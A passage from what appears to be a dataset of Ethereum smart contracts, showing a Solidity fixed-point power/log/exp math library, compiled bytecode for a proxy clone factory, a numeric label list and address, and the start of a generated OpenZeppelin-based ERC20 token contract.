maxExpArray[44] = 0x110a688680a757ffffffffffffffffffff;
maxExpArray[45] = 0x1056f1b5bedf77ffffffffffffffffffff;
maxExpArray[46] = 0x0faadceceeff8bffffffffffffffffffff;
maxExpArray[47] = 0x0f05dc6b27edadffffffffffffffffffff;
maxExpArray[48] = 0x0e67a5a25da4107fffffffffffffffffff;
maxExpArray[49] = 0x0dcff115b14eedffffffffffffffffffff;
maxExpArray[50] = 0x0d3e7a392431239fffffffffffffffffff;
maxExpArray[51] = 0x0cb2ff529eb71e4fffffffffffffffffff;
maxExpArray[52] = 0x0c2d415c3db974afffffffffffffffffff;
maxExpArray[53] = 0x0bad03e7d883f69bffffffffffffffffff;
maxExpArray[54] = 0x0b320d03b2c343d5ffffffffffffffffff;
maxExpArray[55] = 0x0abc25204e02828dffffffffffffffffff;
maxExpArray[56] = 0x0a4b16f74ee4bb207fffffffffffffffff;
maxExpArray[57] = 0x09deaf736ac1f569ffffffffffffffffff;
maxExpArray[58] = 0x0976bd9952c7aa957fffffffffffffffff;
maxExpArray[59] = 0x09131271922eaa606fffffffffffffffff;
maxExpArray[60] = 0x08b380f3558668c46fffffffffffffffff;
maxExpArray[61] = 0x0857ddf0117efa215bffffffffffffffff;
maxExpArray[62] = 0x07ffffffffffffffffffffffffffffffff;
maxExpArray[63] = 0x07abbf6f6abb9d087fffffffffffffffff;
maxExpArray[64] = 0x075af62cbac95f7dfa7fffffffffffffff;
maxExpArray[65] = 0x070d7fb7452e187ac13fffffffffffffff;
maxExpArray[66] = 0x06c3390ecc8af379295fffffffffffffff;
maxExpArray[67] = 0x067c00a3b07ffc01fd6fffffffffffffff;
maxExpArray[68] = 0x0637b647c39cbb9d3d27ffffffffffffff;
maxExpArray[69] = 0x05f63b1fc104dbd39587ffffffffffffff;
maxExpArray[70] = 0x05b771955b36e12f7235ffffffffffffff;
maxExpArray[71] = 0x057b3d49dda84556d6f6ffffffffffffff;
maxExpArray[72] = 0x054183095b2c8ececf30ffffffffffffff;
maxExpArray[73] = 0x050a28be635ca2b888f77fffffffffffff;
maxExpArray[74] = 0x04d5156639708c9db33c3fffffffffffff;
maxExpArray[75] = 0x04a23105873875bd52dfdfffffffffffff;
maxExpArray[76] = 0x0471649d87199aa990756fffffffffffff;
maxExpArray[77] = 0x04429a21a029d4c1457cfbffffffffffff;
maxExpArray[78] = 0x0415bc6d6fb7dd71af2cb3ffffffffffff;
maxExpArray[79] = 0x03eab73b3bbfe282243ce1ffffffffffff;
maxExpArray[80] = 0x03c1771ac9fb6b4c18e229ffffffffffff;
maxExpArray[81] = 0x0399e96897690418f785257fffffffffff;
maxExpArray[82] = 0x0373fc456c53bb779bf0ea9fffffffffff;
maxExpArray[83] = 0x034f9e8e490c48e67e6ab8bfffffffffff;
maxExpArray[84] = 0x032cbfd4a7adc790560b3337ffffffffff;
maxExpArray[85] = 0x030b50570f6e5d2acca94613ffffffffff;
maxExpArray[86] = 0x02eb40f9f620fda6b56c2861ffffffffff;
maxExpArray[87] = 0x02cc8340ecb0d0f520a6af58ffffffffff;
maxExpArray[88] = 0x02af09481380a0a35cf1ba02ffffffffff;
maxExpArray[89] = 0x0292c5bdd3b92ec810287b1b3fffffffff;
maxExpArray[90] = 0x0277abdcdab07d5a77ac6d6b9fffffffff;
maxExpArray[91] = 0x025daf6654b1eaa55fd64df5efffffffff;
maxExpArray[92] = 0x0244c49c648baa98192dce88b7ffffffff;
maxExpArray[93] = 0x022ce03cd5619a311b2471268bffffffff;
maxExpArray[94] = 0x0215f77c045fbe885654a44a0fffffffff;
maxExpArray[95] = 0x01ffffffffffffffffffffffffffffffff;
maxExpArray[96] = 0x01eaefdbdaaee7421fc4d3ede5ffffffff;
maxExpArray[97] = 0x01d6bd8b2eb257df7e8ca57b09bfffffff;
maxExpArray[98] = 0x01c35fedd14b861eb0443f7f133fffffff;
maxExpArray[99] = 0x01b0ce43b322bcde4a56e8ada5afffffff;
maxExpArray[100] = 0x019f0028ec1fff007f5a195a39dfffffff;
maxExpArray[101] = 0x018ded91f0e72ee74f49b15ba527ffffff;
maxExpArray[102] = 0x017d8ec7f04136f4e5615fd41a63ffffff;
maxExpArray[103] = 0x016ddc6556cdb84bdc8d12d22e6fffffff;
maxExpArray[104] = 0x015ecf52776a1155b5bd8395814f7fffff;
maxExpArray[105] = 0x015060c256cb23b3b3cc3754cf40ffffff;
maxExpArray[106] = 0x01428a2f98d728ae223ddab715be3fffff;
maxExpArray[107] = 0x013545598e5c23276ccf0ede68034fffff;
maxExpArray[108] = 0x01288c4161ce1d6f54b7f61081194fffff;
maxExpArray[109] = 0x011c592761c666aa641d5a01a40f17ffff;
maxExpArray[110] = 0x0110a688680a7530515f3e6e6cfdcdffff;
maxExpArray[111] = 0x01056f1b5bedf75c6bcb2ce8aed428ffff;
maxExpArray[112] = 0x00faadceceeff8a0890f3875f008277fff;
maxExpArray[113] = 0x00f05dc6b27edad306388a600f6ba0bfff;
maxExpArray[114] = 0x00e67a5a25da41063de1495d5b18cdbfff;
maxExpArray[115] = 0x00dcff115b14eedde6fc3aa5353f2e4fff;
maxExpArray[116] = 0x00d3e7a3924312399f9aae2e0f868f8fff;
maxExpArray[117] = 0x00cb2ff529eb71e41582cccd5a1ee26fff;
maxExpArray[118] = 0x00c2d415c3db974ab32a51840c0b67edff;
maxExpArray[119] = 0x00bad03e7d883f69ad5b0a186184e06bff;
maxExpArray[120] = 0x00b320d03b2c343d4829abd6075f0cc5ff;
maxExpArray[121] = 0x00abc25204e02828d73c6e80bcdb1a95bf;
maxExpArray[122] = 0x00a4b16f74ee4bb2040a1ec6c15fbbf2df;
maxExpArray[123] = 0x009deaf736ac1f569deb1b5ae3f36c130f;
maxExpArray[124] = 0x00976bd9952c7aa957f5937d790ef65037;
maxExpArray[125] = 0x009131271922eaa6064b73a22d0bd4f2bf;
maxExpArray[126] = 0x008b380f3558668c46c91c49a2f8e967b9;
maxExpArray[127] = 0x00857ddf0117efa215952912839f6473e6;
}
constructor() {
initMaxExpArray();
}
/**
* @dev General Description:
* Determine a value of precision.
* Calculate an integer approximation of (_baseN / _baseD) ^ (_expN / _expD) * 2 ^ precision.
* Return the result along with the precision used.
*
* Detailed Description:
* Instead of calculating "base ^ exp", we calculate "e ^ (log(base) * exp)".
* The value of "log(base)" is represented with an integer slightly smaller than "log(base) * 2 ^ precision".
* The larger "precision" is, the more accurately this value represents the real value.
* However, the larger "precision" is, the more bits are required in order to store this value.
* And the exponentiation function, which takes "x" and calculates "e ^ x", is limited to a maximum exponent (maximum value of "x").
* This maximum exponent depends on the "precision" used, and it is given by "maxExpArray[precision] >> (MAX_PRECISION - precision)".
* Hence we need to determine the highest precision which can be used for the given input, before calling the exponentiation function.
* This allows us to compute "base ^ exp" with maximum accuracy and without exceeding 256 bits in any of the intermediate computations.
* This functions assumes that "_expN < 2 ^ 256 / log(MAX_NUM - 1)", otherwise the multiplication should be replaced with a "safeMul".
* Since we rely on unsigned-integer arithmetic and "base < 1" ==> "log(base) < 0", this function does not support "_baseN < _baseD".
*/
function power(
uint256 _baseN,
uint256 _baseD,
uint32 _expN,
uint32 _expD
) internal view returns (uint256, uint8) {
require(_baseN < MAX_NUM);
uint256 baseLog;
uint256 base = (_baseN * FIXED_1) / _baseD;
if (base < OPT_LOG_MAX_VAL) {
baseLog = optimalLog(base);
} else {
baseLog = generalLog(base);
}
uint256 baseLogTimesExp = (baseLog * _expN) / _expD;
if (baseLogTimesExp < OPT_EXP_MAX_VAL) {
return (optimalExp(baseLogTimesExp), MAX_PRECISION);
} else {
uint8 precision = findPositionInMaxExpArray(baseLogTimesExp);
return (
generalExp(
baseLogTimesExp >> (MAX_PRECISION - precision),
precision
),
precision
);
}
}
function powerInitial(
uint256 _baseN,
uint256 _baseDNumerator,
uint256 _baseDDenominator,
uint32 _expN,
uint32 _expD
) internal view returns (uint256, uint8) {
require(_baseN < MAX_NUM);
uint256 baseLog;
uint256 base = (_baseN * _baseDDenominator * FIXED_1) /
(_baseDNumerator);
if (base < OPT_LOG_MAX_VAL) {
baseLog = optimalLog(base);
} else {
baseLog = generalLog(base);
}
uint256 baseLogTimesExp = (baseLog * _expN) / _expD;
if (baseLogTimesExp < OPT_EXP_MAX_VAL) {
return (optimalExp(baseLogTimesExp), MAX_PRECISION);
} else {
uint8 precision = findPositionInMaxExpArray(baseLogTimesExp);
return (
generalExp(
baseLogTimesExp >> (MAX_PRECISION - precision),
precision
),
precision
);
}
}
/**
* @dev computes log(x / FIXED_1) * FIXED_1.
* This functions assumes that "x >= FIXED_1", because the output would be negative otherwise.
*/
function generalLog(uint256 x) internal pure returns (uint256) {
uint256 res = 0;
// If x >= 2, then we compute the integer part of log2(x), which is larger than 0.
if (x >= FIXED_2) {
uint8 count = floorLog2(x / FIXED_1);
x >>= count; // now x < 2
res = count * FIXED_1;
}
// If x > 1, then we compute the fraction part of log2(x), which is larger than 0.
if (x > FIXED_1) {
for (uint8 i = MAX_PRECISION; i > 0; --i) {
x = (x * x) / FIXED_1; // now 1 < x < 4
if (x >= FIXED_2) {
x >>= 1; // now 1 < x < 2
res += ONE << (i - 1);
}
}
}
return (res * LN2_NUMERATOR) / LN2_DENOMINATOR;
}
/**
* @dev computes the largest integer smaller than or equal to the binary logarithm of the input.
*/
function floorLog2(uint256 _n) internal pure returns (uint8) {
uint8 res = 0;
if (_n < 256) {
// At most 8 iterations
while (_n > 1) {
_n >>= 1;
res += 1;
}
} else {
// Exactly 8 iterations
for (uint8 s = 128; s > 0; s >>= 1) {
if (_n >= (ONE << s)) {
_n >>= s;
res |= s;
}
}
}
return res;
}
/**
* @dev the global "maxExpArray" is sorted in descending order, and therefore the following statements are equivalent:
* - This function finds the position of [the smallest value in "maxExpArray" larger than or equal to "x"]
* - This function finds the highest position of [a value in "maxExpArray" larger than or equal to "x"]
*/
function findPositionInMaxExpArray(uint256 _x)
internal
view
returns (uint8 result)
{
uint8 lo = MIN_PRECISION;
uint8 hi = MAX_PRECISION;
while (lo + 1 < hi) {
uint8 mid = (lo + hi) / 2;
if (maxExpArray[mid] >= _x) lo = mid;
else hi = mid;
}
if (maxExpArray[hi] >= _x) {
result = hi;
return result;
}
if (maxExpArray[lo] >= _x) {
result = lo;
return result;
}
require(false);
}
/**
* @dev this function can be auto-generated by the script 'PrintFunctionGeneralExp.py'.
* it approximates "e ^ x" via maclaurin summation: "(x^0)/0! + (x^1)/1! + ... + (x^n)/n!".
* it returns "e ^ (x / 2 ^ precision) * 2 ^ precision", that is, the result is upshifted for accuracy.
* the global "maxExpArray" maps each "precision" to "((maximumExponent + 1) << (MAX_PRECISION - precision)) - 1".
* the maximum permitted value for "x" is therefore given by "maxExpArray[precision] >> (MAX_PRECISION - precision)".
*/
function generalExp(uint256 _x, uint8 _precision)
internal
pure
returns (uint256)
{
uint256 xi = _x;
uint256 res = 0;
xi = (xi * _x) >> _precision;
res += xi * 0x3442c4e6074a82f1797f72ac0000000; // add x^02 * (33! / 02!)
xi = (xi * _x) >> _precision;
res += xi * 0x116b96f757c380fb287fd0e40000000; // add x^03 * (33! / 03!)
xi = (xi * _x) >> _precision;
res += xi * 0x045ae5bdd5f0e03eca1ff4390000000; // add x^04 * (33! / 04!)
xi = (xi * _x) >> _precision;
res += xi * 0x00defabf91302cd95b9ffda50000000; // add x^05 * (33! / 05!)
xi = (xi * _x) >> _precision;
res += xi * 0x002529ca9832b22439efff9b8000000; // add x^06 * (33! / 06!)
xi = (xi * _x) >> _precision;
res += xi * 0x00054f1cf12bd04e516b6da88000000; // add x^07 * (33! / 07!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000a9e39e257a09ca2d6db51000000; // add x^08 * (33! / 08!)
xi = (xi * _x) >> _precision;
res += xi * 0x000012e066e7b839fa050c309000000; // add x^09 * (33! / 09!)
xi = (xi * _x) >> _precision;
res += xi * 0x000001e33d7d926c329a1ad1a800000; // add x^10 * (33! / 10!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000002bee513bdb4a6b19b5f800000; // add x^11 * (33! / 11!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000003a9316fa79b88eccf2a00000; // add x^12 * (33! / 12!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000000048177ebe1fa812375200000; // add x^13 * (33! / 13!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000000005263fe90242dcbacf00000; // add x^14 * (33! / 14!)
xi = (xi * _x) >> _precision;
res += xi * 0x000000000057e22099c030d94100000; // add x^15 * (33! / 15!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000057e22099c030d9410000; // add x^16 * (33! / 16!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000052b6b54569976310000; // add x^17 * (33! / 17!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000004985f67696bf748000; // add x^18 * (33! / 18!)
xi = (xi * _x) >> _precision;
res += xi * 0x000000000000003dea12ea99e498000; // add x^19 * (33! / 19!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000000031880f2214b6e000; // add x^20 * (33! / 20!)
xi = (xi * _x) >> _precision;
res += xi * 0x000000000000000025bcff56eb36000; // add x^21 * (33! / 21!)
xi = (xi * _x) >> _precision;
res += xi * 0x000000000000000001b722e10ab1000; // add x^22 * (33! / 22!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000000000001317c70077000; // add x^23 * (33! / 23!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000000000000cba84aafa00; // add x^24 * (33! / 24!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000000000000082573a0a00; // add x^25 * (33! / 25!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000000000000005035ad900; // add x^26 * (33! / 26!)
xi = (xi * _x) >> _precision;
res += xi * 0x000000000000000000000002f881b00; // add x^27 * (33! / 27!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000000000000000001b29340; // add x^28 * (33! / 28!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000000000000000000efc40; // add x^29 * (33! / 29!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000000000000000000007fe0; // add x^30 * (33! / 30!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000000000000000000000420; // add x^31 * (33! / 31!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000000000000000000000021; // add x^32 * (33! / 32!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000000000000000000000001; // add x^33 * (33! / 33!)
return
res / 0x688589cc0e9505e2f2fee5580000000 + _x + (ONE << _precision); // divide by 33! and then add x^1 / 1! + x^0 / 0!
}
/**
* @dev computes log(x / FIXED_1) * FIXED_1
* Input range: FIXED_1 <= x <= OPT_LOG_MAX_VAL - 1
* Auto-generated via 'PrintFunctionOptimalLog.py'
* Detailed description:
* - Rewrite the input as a product of natural exponents and a single residual r, such that 1 < r < 2
* - The natural logarithm of each (pre-calculated) exponent is the degree of the exponent
* - The natural logarithm of r is calculated via Taylor series for log(1 + x), where x = r - 1
* - The natural logarithm of the input is calculated by summing up the intermediate results above
* - For example: log(250) = log(e^4 * e^1 * e^0.5 * 1.021692859) = 4 + 1 + 0.5 + log(1 + 0.021692859)
*/
function optimalLog(uint256 x) internal pure returns (uint256) {
uint256 res = 0;
uint256 y;
uint256 z;
uint256 w;
if (x >= 0xd3094c70f034de4b96ff7d5b6f99fcd8) {
res += 0x40000000000000000000000000000000;
x = (x * FIXED_1) / 0xd3094c70f034de4b96ff7d5b6f99fcd8;
} // add 1 / 2^1
if (x >= 0xa45af1e1f40c333b3de1db4dd55f29a7) {
res += 0x20000000000000000000000000000000;
x = (x * FIXED_1) / 0xa45af1e1f40c333b3de1db4dd55f29a7;
} // add 1 / 2^2
if (x >= 0x910b022db7ae67ce76b441c27035c6a1) {
res += 0x10000000000000000000000000000000;
x = (x * FIXED_1) / 0x910b022db7ae67ce76b441c27035c6a1;
} // add 1 / 2^3
if (x >= 0x88415abbe9a76bead8d00cf112e4d4a8) {
res += 0x08000000000000000000000000000000;
x = (x * FIXED_1) / 0x88415abbe9a76bead8d00cf112e4d4a8;
} // add 1 / 2^4
if (x >= 0x84102b00893f64c705e841d5d4064bd3) {
res += 0x04000000000000000000000000000000;
x = (x * FIXED_1) / 0x84102b00893f64c705e841d5d4064bd3;
} // add 1 / 2^5
if (x >= 0x8204055aaef1c8bd5c3259f4822735a2) {
res += 0x02000000000000000000000000000000;
x = (x * FIXED_1) / 0x8204055aaef1c8bd5c3259f4822735a2;
} // add 1 / 2^6
if (x >= 0x810100ab00222d861931c15e39b44e99) {
res += 0x01000000000000000000000000000000;
x = (x * FIXED_1) / 0x810100ab00222d861931c15e39b44e99;
} // add 1 / 2^7
if (x >= 0x808040155aabbbe9451521693554f733) {
res += 0x00800000000000000000000000000000;
x = (x * FIXED_1) / 0x808040155aabbbe9451521693554f733;
} // add 1 / 2^8
z = y = x - FIXED_1;
w = (y * y) / FIXED_1;
res +=
(z * (0x100000000000000000000000000000000 - y)) /
0x100000000000000000000000000000000;
z = (z * w) / FIXED_1; // add y^01 / 01 - y^02 / 02
res +=
(z * (0x0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa - y)) /
0x200000000000000000000000000000000;
z = (z * w) / FIXED_1; // add y^03 / 03 - y^04 / 04
res +=
(z * (0x099999999999999999999999999999999 - y)) /
0x300000000000000000000000000000000;
z = (z * w) / FIXED_1; // add y^05 / 05 - y^06 / 06
res +=
(z * (0x092492492492492492492492492492492 - y)) /
0x400000000000000000000000000000000;
z = (z * w) / FIXED_1; // add y^07 / 07 - y^08 / 08
res +=
(z * (0x08e38e38e38e38e38e38e38e38e38e38e - y)) /
0x500000000000000000000000000000000;
z = (z * w) / FIXED_1; // add y^09 / 09 - y^10 / 10
res +=
(z * (0x08ba2e8ba2e8ba2e8ba2e8ba2e8ba2e8b - y)) /
0x600000000000000000000000000000000;
z = (z * w) / FIXED_1; // add y^11 / 11 - y^12 / 12
res +=
(z * (0x089d89d89d89d89d89d89d89d89d89d89 - y)) /
0x700000000000000000000000000000000;
z = (z * w) / FIXED_1; // add y^13 / 13 - y^14 / 14
res +=
(z * (0x088888888888888888888888888888888 - y)) /
0x800000000000000000000000000000000; // add y^15 / 15 - y^16 / 16
return res;
}
/**
* @dev computes e ^ (x / FIXED_1) * FIXED_1
* input range: 0 <= x <= OPT_EXP_MAX_VAL - 1
* auto-generated via 'PrintFunctionOptimalExp.py'
* Detailed description:
* - Rewrite the input as a sum of binary exponents and a single residual r, as small as possible
* - The exponentiation of each binary exponent is given (pre-calculated)
* - The exponentiation of r is calculated via Taylor series for e^x, where x = r
* - The exponentiation of the input is calculated by multiplying the intermediate results above
* - For example: e^5.521692859 = e^(4 + 1 + 0.5 + 0.021692859) = e^4 * e^1 * e^0.5 * e^0.021692859
*/
function optimalExp(uint256 x) internal pure returns (uint256) {
uint256 res = 0;
uint256 y;
uint256 z;
z = y = x % 0x10000000000000000000000000000000; // get the input modulo 2^(-3)
z = (z * y) / FIXED_1;
res += z * 0x10e1b3be415a0000; // add y^02 * (20! / 02!)
z = (z * y) / FIXED_1;
res += z * 0x05a0913f6b1e0000; // add y^03 * (20! / 03!)
z = (z * y) / FIXED_1;
res += z * 0x0168244fdac78000; // add y^04 * (20! / 04!)
z = (z * y) / FIXED_1;
res += z * 0x004807432bc18000; // add y^05 * (20! / 05!)
z = (z * y) / FIXED_1;
res += z * 0x000c0135dca04000; // add y^06 * (20! / 06!)
z = (z * y) / FIXED_1;
res += z * 0x0001b707b1cdc000; // add y^07 * (20! / 07!)
z = (z * y) / FIXED_1;
res += z * 0x000036e0f639b800; // add y^08 * (20! / 08!)
z = (z * y) / FIXED_1;
res += z * 0x00000618fee9f800; // add y^09 * (20! / 09!)
z = (z * y) / FIXED_1;
res += z * 0x0000009c197dcc00; // add y^10 * (20! / 10!)
z = (z * y) / FIXED_1;
res += z * 0x0000000e30dce400; // add y^11 * (20! / 11!)
z = (z * y) / FIXED_1;
res += z * 0x000000012ebd1300; // add y^12 * (20! / 12!)
z = (z * y) / FIXED_1;
res += z * 0x0000000017499f00; // add y^13 * (20! / 13!)
z = (z * y) / FIXED_1;
res += z * 0x0000000001a9d480; // add y^14 * (20! / 14!)
z = (z * y) / FIXED_1;
res += z * 0x00000000001c6380; // add y^15 * (20! / 15!)
z = (z * y) / FIXED_1;
res += z * 0x000000000001c638; // add y^16 * (20! / 16!)
z = (z * y) / FIXED_1;
res += z * 0x0000000000001ab8; // add y^17 * (20! / 17!)
z = (z * y) / FIXED_1;
res += z * 0x000000000000017c; // add y^18 * (20! / 18!)
z = (z * y) / FIXED_1;
res += z * 0x0000000000000014; // add y^19 * (20! / 19!)
z = (z * y) / FIXED_1;
res += z * 0x0000000000000001; // add y^20 * (20! / 20!)
res = res / 0x21c3677c82b40000 + y + FIXED_1; // divide by 20! and then add y^1 / 1! + y^0 / 0!
if ((x & 0x010000000000000000000000000000000) != 0)
res =
(res * 0x1c3d6a24ed82218787d624d3e5eba95f9) /
0x18ebef9eac820ae8682b9793ac6d1e776; // multiply by e^2^(-3)
if ((x & 0x020000000000000000000000000000000) != 0)
res =
(res * 0x18ebef9eac820ae8682b9793ac6d1e778) /
0x1368b2fc6f9609fe7aceb46aa619baed4; // multiply by e^2^(-2)
if ((x & 0x040000000000000000000000000000000) != 0)
res =
(res * 0x1368b2fc6f9609fe7aceb46aa619baed5) /
0x0bc5ab1b16779be3575bd8f0520a9f21f; // multiply by e^2^(-1)
if ((x & 0x080000000000000000000000000000000) != 0)
res =
(res * 0x0bc5ab1b16779be3575bd8f0520a9f21e) /
0x0454aaa8efe072e7f6ddbab84b40a55c9; // multiply by e^2^(+0)
if ((x & 0x100000000000000000000000000000000) != 0)
res =
(res * 0x0454aaa8efe072e7f6ddbab84b40a55c5) /
0x00960aadc109e7a3bf4578099615711ea; // multiply by e^2^(+1)
if ((x & 0x200000000000000000000000000000000) != 0)
res =
(res * 0x00960aadc109e7a3bf4578099615711d7) /
0x0002bf84208204f5977f9a8cf01fdce3d; // multiply by e^2^(+2)
if ((x & 0x400000000000000000000000000000000) != 0)
res =
(res * 0x0002bf84208204f5977f9a8cf01fdc307) /
0x0000003c6ab775dd0b95b4cbee7e65d11; // multiply by e^2^(+3)
return res;
}
} | 0x608060405234801561001057600080fd5b50600436106100415760003560e01c8063b6617e7014610046578063d7dfa0dd14610076578063eff1d50e14610094575b600080fd5b610060600480360381019061005b91906103cb565b6100b2565b60405161006d9190610515565b60405180910390f35b61007e61024d565b60405161008b9190610515565b60405180910390f35b61009c610271565b6040516100a99190610515565b60405180910390f35b6000808484905014156100fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100f190610648565b60405180910390fd5b61012360008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610297565b90508073ffffffffffffffffffffffffffffffffffffffff1663805957c8338a8a8a8a8a8a600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168b6040518a63ffffffff1660e01b815260040161019099989796959493929190610530565b600060405180830381600087803b1580156101aa57600080fd5b505af11580156101be573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff167f90177d07f5c86bbed8a00e22c791c951548b9d57b8fa8dc53126fd5a65da33f08286868c8c8c8c8a600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660405161023a999897969594939291906105ac565b60405180910390a2979650505050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006040517f3d602d80600a3d3981f3363d3d373d3d3d363d7300000000000000000000000081528260601b60148201527f5af43d82803e903d91602b57fd5bf3000000000000000000000000000000000060288201526037816000f0915050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610367576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161035e90610628565b60405180910390fd5b919050565b60008083601f84011261037e57600080fd5b8235905067ffffffffffffffff81111561039757600080fd5b6020830191508360018202830111156103af57600080fd5b9250929050565b6000813590506103c58161074d565b92915050565b60008060008060008060006080888a0312156103e657600080fd5b600088013567ffffffffffffffff81111561040057600080fd5b61040c8a828b0161036c565b9750975050602088013567ffffffffffffffff81111561042b57600080fd5b6104378a828b0161036c565b9550955050604088013567ffffffffffffffff81111561045657600080fd5b6104628a828b0161036c565b935093505060606104758a828b016103b6565b91505092959891949750929550565b61048d81610679565b82525050565b600061049f8385610668565b93506104ac8385846106b5565b6104b5836106c4565b840190509392505050565b60006104cd601683610668565b91506104d8826106d5565b602082019050919050565b60006104f0602b83610668565b91506104fb826106fe565b604082019050919050565b61050f816106ab565b82525050565b600060208201905061052a6000830184610484565b92915050565b600060c082019050610545600083018c610484565b8181036020830152610558818a8c610493565b9050818103604083015261056d81888a610493565b90508181036060830152610582818688610493565b90506105916080830185610484565b61059e60a0830184610506565b9a9950505050505050505050565b600060c0820190506105c1600083018c610484565b81810360208301526105d4818a8c610493565b905081810360408301526105e981888a610493565b905081810360608301526105fe818688610493565b905061060d6080830185610506565b61061a60a0830184610484565b9a9950505050505050505050565b60006020820190508181036000830152610641816104c0565b9050919050565b60006020820190508181036000830152610661816104e3565b9050919050565b600082825260208201905092915050565b60006106848261068b565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b6000601f19601f8301169050919050565b7f455243313136373a20637265617465206661696c656400000000000000000000600082015250565b7f43727970746f6d656469613a206d6574616461746120555249206d757374206260008201527f65206e6f6e2d656d707479000000000000000000000000000000000000000000602082015250565b610756816106ab565b811461076157600080fd5b5056fea264697066735822122033560fcc7e6bd51f05455988b7a56ff05e7e881cdcc5fd4aa75106a2e83e96af64736f6c63430008040033 | [
12,
4,
7,
11
] |
0xF34727730a8a15bF33f77262d0b1f2D202ff3ED0 | // SPDX-License-Identifier: MIT
/*
* Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/
*
* NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
* using the same generator. It is not an issue. It means that you won't need to verify your source code because of
* it is already verified.
*
* DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
* The following code is provided under MIT License. Anyone can use it as per their needs.
* The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
* Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations.
* Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
* carefully weighs all the information and risks detailed in Token owner's Conditions.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
